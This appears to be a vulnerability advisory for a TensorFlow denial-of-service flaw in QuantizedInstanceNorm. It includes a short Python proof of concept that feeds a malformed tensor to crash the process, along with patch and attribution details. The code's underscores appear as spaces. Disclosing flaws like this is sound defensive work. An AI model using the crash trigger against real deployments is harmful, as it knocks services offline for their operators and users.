PT-2026-59800 · Pypi · Tensorflow
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
If
QuantizedInstanceNorm is given x min or x max tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.python
import tensorflow as tf
output range given = False
given y min = 0
given y max = 0
variance epsilon = 1e-05
min separation = 0.001
x = tf.constant(88, shape=[1,4,4,32], dtype=tf.quint8)
x min = tf.constant([], shape=[0], dtype=tf.float32)
x max = tf.constant(0, shape=[], dtype=tf.float32)
tf.raw ops.QuantizedInstanceNorm(x=x, x min=x min, x max=x max, output range given=output range given, given y min=given y min, given y max=given y max, variance epsilon=variance epsilon, min separation=min separation)Patches
We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Tensorflow